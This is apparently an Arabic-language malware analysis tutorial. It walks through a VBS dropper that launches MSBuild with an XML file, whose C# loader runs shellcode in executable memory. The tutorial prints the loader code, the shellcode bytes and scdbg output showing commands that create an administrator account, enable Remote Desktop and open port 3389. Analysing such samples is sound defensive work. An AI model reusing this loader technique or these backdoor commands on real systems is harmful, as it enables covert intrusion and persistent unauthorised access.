

و تقدر تفهم وش يسوي shellcode بسم الله اليوم بشرح كيف تفحص البرنامج الضار

تحميل الملف password:infected نفك الضغط بعدها تطلع لنا 3 ملفات

crtupdate.vbs:

البرنامج يفتح التشفير عن الملفين الثانيين و يشغل one.vbs

انا مشغلة في فيرثوال ماشين ف عادي انا اشغل البرنامج ماراح يضرني او ممكن تحط كومنت عند جزئية التشغيل اللي هو السطر الاخير، بعد ما اشغله البرنامج بي فك التشفير عندهم و بيحط الملفات بهذي المسارات

### الحين نشوف ملف one.vbs و نشوف الكود

خلونا نشوف الكود وش يسوي فيه فنكشن اسمها update وظيفتها تسوي replace ل vVv و ولا شي عندي حلين يا اشغلة و اطبع المتغيرات او اني اسوي بنفسي و بسويها بنفسي اسهل ببدل vVv ب ولاشي

```

getUpdate()
Sub getUpdate()
a = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
aa = "C:\users\Public\Documents\xml.xml"
aaa = update(a, "")
aaaa = update(aa, "")
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute aaa, aaaa, Null, "runas", 0
End Sub
Function update(ccj, jjc)
Dim str
str = Replace(ccj, jjc, "")
update = str
End Function

```

هذا بعد ما ضبطناه و طلعت لنا مسارات و الواضح انه ببشغل MSBuild.exe و بيحط xml.xml طيب خلونا نشوف وش فيه هناك

```

//
public override bool Execute()
{
    byte[] slcd = new byte[] { 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0xd0, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x69, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0xd0, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x66, 0x8b, 0xc, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x8d, 0x85, 0x2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c, 0xa0, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x20, 0x2f, 0x6b, 0x20, 0x22, 0x6e, 0x65, 0x74, 0x20, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x22, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x20, 0x44, 0x65, 0x73, 0x6b, 0x74, 0x6f, 0x70, 0x20, 0x55, 0x73, 0x65, 0x72, 0x73, 0x22, 0x20, 0x2f, 0x61, 0x64, 0x20, 0x26, 0x20, 0x65, 0x72, 0x20, 0x2f, 0x61, 0x64, 0x64, 0x20, 0x77, 0x64, 0x73, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x20, 0x71, 0x71, 0x71, 0x71, 0x31, 0x31, 0x31, 0x31, 0x20, 0x26, 0x20, 0x6e, 0x65, 0x6c, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x20, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x69, 0x73, 0x74, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x20, 0x77, 0x64, 0x73, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x26, 0x20, 0x6e, 0x65, 0x74, 0x20, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x20, 0x22, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x20, 0x44, 0x65, 0x73, 0x6b, 0x74, 0x72, 0x73, 0x22, 0x20, 0x77, 0x64, 0x73, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x26, 0x20, 0x72, 0x65, 0x67, 0x20, 0x61, 0x64, 0x20, 0x22, 0x48, 0x43, 0x41, 0x4c, 0x5f, 0x4d, 0x41, 0x43, 0x48, 0x49, 0x4e, 0x45, 0x5c, 0x53, 0x59, 0x53, 0x54, 0x45, 0x4d, 0x5c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x5c, 0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x5c, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x6c, 0x20, 0x53, 0x65, 0x72, 0x65, 0x72, 0x65, 0x72, 0x22, 0x2f, 0x76, 0x20, 0x66, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x2f, 0x74, 0x20, 0x52, 0x45, 0x47, 0x5f, 0x44, 0x57, 0x4f, 0x52, 0x44, 0x20, 0x2f, 0x64, 0x20, 0x30, 0x20, 0x65, 0x74, 0x73, 0x68, 0x20, 0x61, 0x64, 0x76, 0x66, 0x69, 0x72, 0x65, 0x77, 0x61, 0x6c, 0x6c, 0x20, 0x66, 0x69, 0x72, 0x65, 0x77, 0x61, 0x6c, 0x6c, 0x20, 0x61, 0x64, 0x64, 0x20, 0x61, 0x6d, 0x65, 0x3d, 0x22, 0x4f, 0x70, 0x65, 0x6e, 0x20, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x20, 0x44, 0x65, 0x73, 0x6b, 0x74, 0x6f, 0x70, 0x22, 0x20, 0x70, 0x72, 0x6f, 0x74, 0x43, 0x50, 0x20, 0x64, 0x69, 0x72, 0x3d, 0x69, 0x6e, 0x20, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x70, 0x6f, 0x72, 0x74, 0x3d, 0x33, 0x33, 0x38, 0x39, 0x20, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x77, 0x22, 0x00};

    UInt32 funcAddr = VirtualAlloc(0, (UInt32)slcd.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(slcd, 0, (IntPtr)(funcAddr), slcd.Length);
    IntPtr hThread = IntPtr.Zero;
    UInt32 threadId = 0;
    IntPtr pinfo = IntPtr.Zero;
    hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
    WaitForSingleObject(hThread, 0xffffffff);
    return true;
}

```

هنا فيه كود C# و فكرة البرنامج يشغل الشل كود

## فحص الشل كود

باخذ الشل كود من الملف و نفحصه الحين عشان نفهم وش يسوي بعد ما شلنا الفاصلات و x0 لأننا ما نحتاجهم

fce8820000006089e531c0648b503.....

الحين نحفظه في ملف txt مثلا و نشغل اداة scdbg عشان نقدر نعرف وش قاعد يسوي الشل كود

```

λ scdbg -f bytes.bin
Loaded 4c4 bytes from file bytes.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

401099 WinExec(cmd.exe /k "net localgroup "Remote Desktop Users" /add & net user /add wdsadmin qqqq1111 & net localgroup administrators wdsadmin /add
ocalgroup "Remote Desktop Users" wdsadmin /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
ORD /d 0 /f & netsh advfirewall firewall add rule name="Open Remote Desktop" protocol=TCP dir=in localport=3389 action=allow")
4010a5 GetVersion()
4010b3 ExitProcess(0)

```

و هذا هو الشل كود و زي ماتشوفون بيضيف يوزر wdsadmin و يفتح rdp

## الملخص

اكتشفنا ان ملف vbs بيفك ملفين متشفرة واحد ملف vbs اللي بيشغل البرنامج من MSBuild.exe و الثاني اللي فيه المحتوى و شفنا المحتوى حقه و واضح انه بيشغل الشل كود في الميموري و بعدها فحصنا الشل كود و قدرنا نعرف وش كان يسوي البرنامج ياليت التحليل اعجبكم و اذا فيه اي خطأ اعتذر و ياليت تنبهوني عشان اعدلها